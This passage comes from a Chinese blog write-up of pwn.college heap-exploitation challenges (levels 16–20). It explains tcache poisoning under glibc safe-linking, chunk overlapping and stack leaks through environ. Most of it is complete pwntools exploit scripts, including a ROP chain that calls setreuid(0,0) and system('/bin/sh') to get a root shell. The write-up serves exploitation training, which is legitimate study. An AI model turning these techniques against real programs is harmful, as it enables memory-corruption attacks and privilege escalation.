p.recvuntil(b"[*] Function (malloc/free/puts/scanf/send_flag/quit): ")
p.sendline(b"scanf 1")
p.sendline(p64(next_mem_to_write))
p.recvuntil(b"[*] Function (malloc/free/puts/scanf/send_flag/quit): ")
p.sendline(b"malloc 1 32")
p.recvuntil(b"[*] Function (malloc/free/puts/scanf/send_flag/quit): ")
p.sendline(b"malloc 0 32")

p.recvuntil(b"[*] Function (malloc/free/puts/scanf/send_flag/quit): ")
p.sendline(b"malloc 2 32")
p.recvuntil(b"[*] Function (malloc/free/puts/scanf/send_flag/quit): ")
p.sendline(b"free 2")
p.recvuntil(b"[*] Function (malloc/free/puts/scanf/send_flag/quit): ")
p.sendline(b"puts 2")

p.recvuntil(b"Data: ")
en_secret = u64(p.recv(8))
secret = heap_base_addr >> 12 ^ en_secret
secret = 0x437f30 >> 12 ^ secret
print("secret:", hex(secret))
p.recvuntil(b"[*] Function (malloc/free/puts/scanf/send_flag/quit): ")
p.sendline(b"send_flag")
p.recvuntil(b"Secret: ")
p.sendline(p64(secret)+p8(0x0)*8)
p.interactive()

level16.1

改secret的地址即可。

level17.0

由于开启了safe-linking,所以按照之前的思路:通过mallocret_address的地址,然后再scanfwin函数的地址写入,最后quit,这个思路行不通。首先第一点ret_address是无法进行malloc的,因为地址没对齐,结尾不为0。其次,mallocrbp的地址,再覆盖rbpret_address也是行不通的,因为这种情况下,chunk_size会变成canary,而canary是一个极大的数,所以malloc会失败(因为malloc前会有一个malloc_usable_size()检测,不可能malloc出canary大小的chunk)。

注意[leak]中栈的地址,它实际上是一个ptr,并且puts也会访问这个ptr中保存地址,以打印数据。

那么,如果我们申请到ptr[0]的TCACHE BIN,然后再scanf这个chunk,修改其中的数据为canary的地址,那么相应的就是修改ptr[0]所保存的地址。请看:

1
2
3
4
5
pwndbg> tele rsp+0x30
00:0000│-110 0x7ffd62e302c0 —▸ 0x7ffd62e303c8 ◂— 0xcf40c6b6d8f04200
01:0008│-108 0x7ffd62e302c8 ◂— 0x0
02:0010│-100 0x7ffd62e302d0 —▸ 0x5749ff0632f0 ◂— 0x7ff8167cf2a3
03:0018│-0f8 0x7ffd62e302d8 —▸ 0x7ffd62e302c0 —▸ 0x7ffd62e303c8 ◂— 0xcf40c6b6d8f04200

0x7ffd62e302c0&ptr[0],什么都没做的情况下,它所存储的值应当为TCACHE BIN的值,也就是heap的地址,即ptr[0]=&heap。但是,当我们通过修改BIN的nextptr[0]并把它malloc出来,那么使得ptr[3]中保存着ptr[0]的地址,即ptr[3]=&ptr[0]然后我们通过scanfptr[0]中写入数据canary的地址。这样就使得ptr[0]=&canary,通过puts(ptr[0])时,即可将canary泄露出来。达成上述情形

那么进一步想一下,既然可以形成利用ptr[3]ptr[0]的情况,那么我们可以把这里的&canary换成&ret,然后直接scanf 0写入win_Addr

先通过写next使得ptr[3]指向ptr[0],再通过scanfptr[3]中保存的地址ptr[0],使得原ptr[0]由指向heap区变为指向ret_addr,然后通过scanf写ptr[0]中保存的地址ret_addr覆盖为win_addr

思路如上,exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from pwn import *
context.arch = "amd64"
context.log_level = 'debug'

p = process("/challenge/babyheap_level17.0")
p.recvuntil(b"[LEAK] The local stack address of your allocations is at: ")
alloc_stack = p.recv(14)
alloc_stack = int(alloc_stack, 16)
p.recvuntil(b"[LEAK] The address of main is at: ")
main_addr = p.recv(14)
main_addr = int(main_addr, 16)
ret_addr = alloc_stack + 0x118
win_addr = main_addr - 0x1b1b + 0x1a00


# get heap_base_address
p.recvuntil(b"[*] Function (malloc/free/puts/scanf/quit):")
p.sendline(b"malloc 0 32")
p.recvuntil(b"[*] Function (malloc/free/puts/scanf/quit):")
p.sendline(b"malloc 1 32")
p.recvuntil(b"[*] Function (malloc/free/puts/scanf/quit):")
p.sendline(b"free 0")
p.recvuntil(b"[*] Function (malloc/free/puts/scanf/quit):")
p.sendline(b"puts 0")
p.recvuntil(b"Data: ")
en_next_mem = u64(p.recvline().strip(b"\n").ljust(8, b"\x00"))
print("en_next: ", hex(en_next_mem))
heap_base_addr = en_next_mem << 12

# overwrite ret
p.recvuntil(b"[*] Function (malloc/free/puts/scanf/quit):")
p.sendline(b"free 1")
p.recvuntil(b"[*] Function (malloc/free/puts/scanf/quit):")
p.sendline(b"scanf 1")
p.recvuntil(b"Index: ")
p.sendline(p64(alloc_stack ^ (heap_base_addr >> 12)))

p.recvuntil(b"[*] Function (malloc/free/puts/scanf/quit):")
p.sendline(b"malloc 2 32")
p.recvuntil(b"[*] Function (malloc/free/puts/scanf/quit):")
p.sendline(b"malloc 3 32") # ptr[3]现在保存着&ptr[0], 此时ptr[0]为chunk在heap的地址
p.recvuntil(b"[*] Function (malloc/free/puts/scanf/quit):")
p.sendline(b"scanf 3")
p.recvuntil(b"Index: ")
p.sendline(p64(ret_addr)) # 修改ptr[0]的值为ret_addr
p.recvuntil(b"[*] Function (malloc/free/puts/scanf/quit):")
p.sendline(b"scanf 0")
p.recvuntil(b"Index: ")
p.sendline(p64(win_addr)) # 修改ret_addr为win_addr
p.recvuntil(b"[*] Function (malloc/free/puts/scanf/quit):")
p.sendline(b"quit")

p.interactive()

level17.1

改偏移

level18.0

exp不用改,还是level13.0的exp。safe-linking不影响我们在栈上构造fake chunk。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
context.arch = "amd64"
context.log_level = 'debug'

p = process("/challenge/babyheap_level18.0")

p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/stack_free/stack_scanf/send_flag/quit): ", b"stack_scanf")
p.sendline(b"a"*48+ p64(0x101) + p64(0x101))
p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/stack_free/stack_scanf/send_flag/quit): ", b"stack_free")
p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/stack_free/stack_scanf/send_flag/quit): ", b"malloc 0 248")
p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/stack_free/stack_scanf/send_flag/quit): ", b"scanf 0")
p.sendlineafter(b"Index: ", b"a"*256)
p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/stack_free/stack_scanf/send_flag/quit): ", b"send_flag")
p.sendlineafter(b"Secret: ", b"a"*16)
p.sendlineafter(b"[*] Function (malloc/free/puts/scanf/stack_free/stack_scanf/send_flag/quit): ", b"quit")
p.interactive()

p.interactive()

level19.0

free操作后,会使得ptr[]置0。这里发现每次malloc时,会指定read/write能够操作的size,这里正好是16个字节。因此能够控制下一个chunk header中的PrevSize,Size和user_data

1
2
ptr[v6] = malloc(size);
nbytes[v6] = size + 16;

Chunk Overlapping,具体可见Chunk Extend and Overlapping - CTF Wiki

ptmalloc中,获取下一chunk块地址的操作如下:

1
2
/* Ptr to next physical malloc_chunk. */
#define next_chunk(p) ((mchunkptr)(((char *) (p)) + chunksize(p)))

即使用当前块指针加上当前块大小。

ptmalloc中,获取前一chunk块信息的操作如下:

1
2
3
4
5
/* Size of the chunk below P.  Only valid if prev_inuse (P).  */
#define prev_size(p) ((p)->mchunk_prev_size)

/* Ptr to previous physical malloc_chunk. Only valid if prev_inuse (P). */
#define prev_chunk(p) ((mchunkptr)(((char *) (p)) - prev_size(p)))

即通过malloc_chunk->prev_size获取前一chunk块大小,然后使用当前块指针减去前一块大小。

ptmalloc中,判断当前chunk是否是use状态的操作如下:

1
2
#define inuse(p)
((((mchunkptr)(((char *) (p)) + chunksize(p)))->mchunk_size) & PREV_INUSE)

即查看下一chunk的prev_inuse域。

当然这里仅是对内存复用的理解,具体可分析:

1
2
3
4
5
6
0x00000000: [ Chunk A 的 prev_size ]  // 0(前一个 chunk 在使用,此字段无效)
0x00000008: [ Chunk A 的 size ] // 0x41(56+8=64=0x40,PREV_INUSE=10x41)
0x00000010: [ Chunk A 的用户数据 ] // 56 字节(实际占用 0x10~0x47
0x00000048: [ Chunk B 的 prev_size ] // 位于 A 的用户数据末尾(0x40~0x47
0x00000050: [ Chunk B 的 size ] // 0x41(假设 B 空闲)
0x00000058: [ Chunk B 的 fd/bk ] // 空闲时用于链表指针

Chunk A的用户数据的最后8个字节存储着Chunk B的prev_size,因此这里可多写16字节能够覆盖Chunk B的用户数据前8个字节,而这8个字节在free后正好是next字段。

思路是:先malloc三个chunk,然后free后两个,但是需要先free第三个再free第二个,因为第二个chunk和第一个chunk相邻,这样我们才能通过safe_read覆盖BIN的next

覆盖next字段使其为第一个chunk的地址(注意safe-linking),因为我们没有将其free,所以后续可以通过safe_write将flag输出。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *
context.arch = "amd64"
context.log_level = 'debug'

p = process("/challenge/babyheap_level19.0")

# get heap_base_address
p.recvuntil(b"[*] Function (malloc/free/read_flag/safe_write/safe_read/quit): ")
p.sendline(b"malloc 0 32")
p.recvuntil(b"[*] Function (malloc/free/read_flag/safe_write/safe_read/quit): ")
p.sendline(b"free 0")
p.recvuntil(b"[*] Function (malloc/free/read_flag/safe_write/safe_read/quit): ")
p.sendline(b"malloc 0 32")
p.recvuntil(b"[*] Function (malloc/free/read_flag/safe_write/safe_read/quit): ")
p.sendline(b"safe_write 0")
p.recvuntil(b"Index: ")
p.recvline()
p.recvline()
en_next_mem = u64(p.recv(5).ljust(8,b"\x00"))
print("en_next: ", hex(en_next_mem))
heap_base_addr = en_next_mem << 12


p.recvuntil(b"[*] Function (malloc/free/read_flag/safe_write/safe_read/quit): ")
p.sendline(b"malloc 1 632")
p.recvuntil(b"[*] Function (malloc/free/read_flag/safe_write/safe_read/quit): ")
p.sendline(b"malloc 2 632")
p.recvuntil(b"[*] Function (malloc/free/read_flag/safe_write/safe_read/quit): ")
p.sendline(b"malloc 3 632")
p.recvuntil(b"[*] Function (malloc/free/read_flag/safe_write/safe_read/quit): ")
p.sendline(b"free 3")
p.recvuntil(b"[*] Function (malloc/free/read_flag/safe_write/safe_read/quit): ")
p.sendline(b"free 2")
p.recvuntil(b"[*] Function (malloc/free/read_flag/safe_write/safe_read/quit): ")
p.sendline(b"safe_read 1")
p.recvuntil(b"Index: ")

p.send(b"a"*0x278 + p64(0x278) + p64((heap_base_addr >> 12) ^ (heap_base_addr + 0x8e0)))
p.recvuntil(b"[*] Function (malloc/free/read_flag/safe_write/safe_read/quit): ")
p.sendline(b"malloc 2 632")

p.recvuntil(b"[*] Function (malloc/free/read_flag/safe_write/safe_read/quit): ")
p.sendline(b"read_flag")
p.recvuntil(b"[*] Function (malloc/free/read_flag/safe_write/safe_read/quit): ")
p.sendline(b"safe_write 1")
p.interactive()

level19.1

去掉一个p.recvline(),修改malloc的大小,记住一个TCACHE BIN的包含CHUNK的user_data大小范围为[16(i+1) - 8 + 1, 16(i + 2) - 8], {i=1,2,…63}

level20.0

这题的api有:[*] Function (malloc/free/safe_write/safe_read/quit):

我们依然可以任意写chunk,但是这题没有相应的flag api和win函数,因此需要进行ROP。

需要泄露heap基地址,使得我们能够通过写next段到任意地址。需要泄露stack地址,使得我们将next段覆盖为main返回地址存储在栈上的地址,然后构造ROP链拿到shell。

heap基地址的泄露前面已经做过了,关于stack地址的泄露有一个技巧:通过 environ 环境变量泄露栈地址。

environglibc 定义的全局变量(类型为 char **),存储了程序所有环境变量的指针数组的地址。环境变量(如 PATHUSER 等)位于 栈空间的高地址区域,因此 environ 的值本质上是 栈上的一个地址

关于environ变量的地址:

1
2
3
4
5
6
7
8
pwndbg> p &environ
$1 = (<data variable, no debug info> *) 0x7513efb90200 <environ>
pwndbg> vmmap 0x7513efb90200
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
Start End Perm Size Offset File
0x7513efb88000 0x7513efb8a000 rw-p 2000 218000 /challenge/lib/libc.so.6
0x7513efb8a000 0x7513efb99000 rw-p f000 0 [anon_7513efb8a] +0x6200
0x7513efb99000 0x7513efb9b000 r--p 2000 0 /challenge/lib/ld-linux-x86-64.so.2

libc中有一个environ变量存储了stack地址;因此,得知libc基址也就等于得知了stack地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
pwndbg> p &environ
$1 = (<data variable, no debug info> *) 0x760378a50200 <environ>
pwndbg> vmmap 0x760378a50200
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
Start End Perm Size Offset File
0x760378a48000 0x760378a4a000 rw-p 2000 218000 /challenge/lib/libc.so.6
0x760378a4a000 0x760378a59000 rw-p f000 0 [anon_760378a4a] +0x6200
0x760378a59000 0x760378a5b000 r--p 2000 0 /challenge/lib/ld-linux-x86-64.so.2
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
Start End Perm Size Offset File
0x56629bc53000 0x56629bc54000 r--p 1000 0 /challenge/babyheap_level20.0
0x56629bc54000 0x56629bc56000 r-xp 2000 1000 /challenge/babyheap_level20.0
0x56629bc56000 0x56629bc57000 r--p 1000 3000 /challenge/babyheap_level20.0
0x56629bc57000 0x56629bc58000 r--p 1000 3000 /challenge/babyheap_level20.0
0x56629bc58000 0x56629bc59000 rw-p 1000 4000 /challenge/babyheap_level20.0
0x56629bc59000 0x56629bc5a000 rw-p 1000 6000 /challenge/babyheap_level20.0
0x56629bc5a000 0x56629bc5b000 rw-p 1000 7000 /challenge/babyheap_level20.0
0x56629c446000 0x56629c467000 rw-p 21000 0 [heap]
0x76037882c000 0x76037882f000 rw-p 3000 0 [anon_76037882c]
0x76037882f000 0x760378857000 r--p 28000 0 /challenge/lib/libc.so.6
0x760378857000 0x7603789ec000 r-xp 195000 28000 /challenge/lib/libc.so.6
0x7603789ec000 0x760378a44000 r--p 58000 1bd000 /challenge/lib/libc.so.6
0x760378a44000 0x760378a48000 r--p 4000 214000 /challenge/lib/libc.so.6
0x760378a48000 0x760378a4a000 rw-p 2000 218000 /challenge/lib/libc.so.6
0x760378a4a000 0x760378a59000 rw-p f000 0 [anon_760378a4a]
0x760378a59000 0x760378a5b000 r--p 2000 0 /challenge/lib/ld-linux-x86-64.so.2
0x760378a5b000 0x760378a85000 r-xp 2a000 2000 /challenge/lib/ld-linux-x86-64.so.2
0x760378a85000 0x760378a90000 r--p b000 2c000 /challenge/lib/ld-linux-x86-64.so.2
0x760378a91000 0x760378a93000 r--p 2000 37000 /challenge/lib/ld-linux-x86-64.so.2
0x760378a93000 0x760378a95000 rw-p 2000 39000 /challenge/lib/ld-linux-x86-64.so.2
0x7ffcd6feb000 0x7ffcd700c000 rw-p 21000 0 [stack]
0x7ffcd70d3000 0x7ffcd70d7000 r--p 4000 0 [vvar]
0x7ffcd70d7000 0x7ffcd70d9000 r-xp 2000 0 [vdso]
0xffffffffff600000 0xffffffffff601000 --xp 1000 0 [vsyscall]
pwndbg> p/x 0x760378a50200-0x76037882f000
$2 = 0x221200

利用libc_base_addr拿到environ变量的地址。然后再通过写next,拿到stack_addr

拿到stack_addr后根据偏移算出ret_addr。最后构造ROP链,将其通过safe_read写入其中。最后quit即可拿到Shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
from pwn import *
context.arch = "amd64"
context.log_level = 'debug'

p = process("/challenge/babyheap_level20.0")
libc = ELF("/challenge/lib/libc.so.6")

def malloc(idx,size):
p.recvuntil(b"[*] Function (malloc/free/safe_write/safe_read/quit): ")
p.sendline(b"malloc")
p.recvuntil(b"Index: ")
p.sendline(str(idx).encode())
p.recvuntil(b"Size: ")
p.sendline(str(size).encode())

def free(idx):
p.recvuntil(b"[*] Function (malloc/free/safe_write/safe_read/quit): ")
p.sendline(b"free")
p.recvuntil(b"Index: ")
p.sendline(str(idx).encode())

def safe_write(idx):
p.recvuntil(b"[*] Function (malloc/free/safe_write/safe_read/quit): ")
p.sendline(b"safe_write")
p.recvuntil(b"Index: ")
p.sendline(str(idx).encode())

def safe_read(idx,content):
p.recvuntil(b"[*] Function (malloc/free/safe_write/safe_read/quit): ")
p.sendline(b"safe_read")
p.recvuntil(b"Index: ")
p.sendline(str(idx).encode())
sleep(0.1)
p.send(content)


# get heap_base_address
malloc(0, 0x20)
free(0)
malloc(0, 0x20)
safe_write(0)
p.recvline()
p.recvline()
en_next_mem = u64(p.recv(5).ljust(8,b'\x00'))
print("en_next: ", hex(en_next_mem))
heap_base_addr = en_next_mem << 12

# get libc_base_address
malloc(0, 0x38)
malloc(1, 0x38)
malloc(2, 0x38)
free(2)
free(1)
# 注意这里在heap区找到偏移0x358处存储着libc上的地址,但是无法直接将偏移设置为0x358,因为safe-linking的原因,地址末尾必须为0
# 同时,也不能为0x350。因为每次malloc时会将key清空,此时清空的就是libc上的地址。
# 因此,这里采用0x340
safe_read(0, b'a'*0x38 + p64(0x41) + p64((heap_base_addr >> 12) ^ (heap_base_addr + 0x340)))
malloc(1, 0x38)
malloc(3, 0x38) # 3->leak_libc
safe_read(3,b'a'*0x18)
safe_write(3)
p.recvline()
p.recvline()
p.recv(0x18)
libc_base = u64(p.recv(6).ljust(8,b'\x00')) - 0x21a6a0
print("libc_base_addr:",hex(libc_base))

# get stack_address
environ_addr = libc_base + 0x221200
malloc(0, 0x38)
malloc(1, 0x38)
malloc(2, 0x38)
free(2)
free(1)
safe_read(0, b'a'*0x38 + p64(0x41) + p64((heap_base_addr >> 12) ^ environ_addr))
malloc(1, 0x38)
malloc(3, 0x38) # 3->environ
safe_write(3)
p.recvline()
p.recvline()
stack_addr = u64(p.recv(6).ljust(8,b'\x00'))
print("stack_addr:",hex(stack_addr))
ret_addr = stack_addr-0x120
print("ret_addr:",hex(ret_addr))

# for overwriting ret_addr
malloc(0, 0x38)
malloc(1, 0x38)
malloc(2, 0x38)
free(2)
free(1)
safe_read(0, b'a'*0x38 + p64(0x41) + p64((heap_base_addr >> 12) ^ (ret_addr - 0x8)))
malloc(1, 0x38)
malloc(3, 0x38) # 3->ret_addr

# ROP chain
libc.address = libc_base
sys_addr = libc.symbols['system']
binsh_addr = next(libc.search(b'/bin/sh'))
setreuid_addr = libc.symbols['setreuid']
print("setreuid_addr", hex(setreuid_addr))
print("binsh_addr", hex(binsh_addr))
rop = ROP(libc)
ruid = 0 # 其实只需要ruid为0就能够拿到root shell
euid = 0
# rop.raw(rop.ret)
rop.raw(rop.rdi)
rop.raw(ruid)
rop.raw(rop.rsi)
rop.raw(euid)
rop.raw(setreuid_addr)
rop.raw(rop.rdi)
rop.raw(binsh_addr)
rop.raw(sys_addr)

# overwrite
safe_read(3, p64(0xdeadbeef) + rop.chain())
p.recvuntil(b"[*] Function (malloc/free/safe_write/safe_read/quit): ")
p.sendline(b'quit')
p.interactive()

level20.1

改下heap区的libc泄露偏移即可。还有删下p.recvline()

Dynamic Allocator Misuse 完结撒花~


pwn.college: Dynamic Allocator Misuse
https://loboq1ng.github.io/2025/04/21/pwn-college-Dynamic-Allocator-Misuse/
作者
Lobo Q1ng
发布于
2025年4月21日
许可协议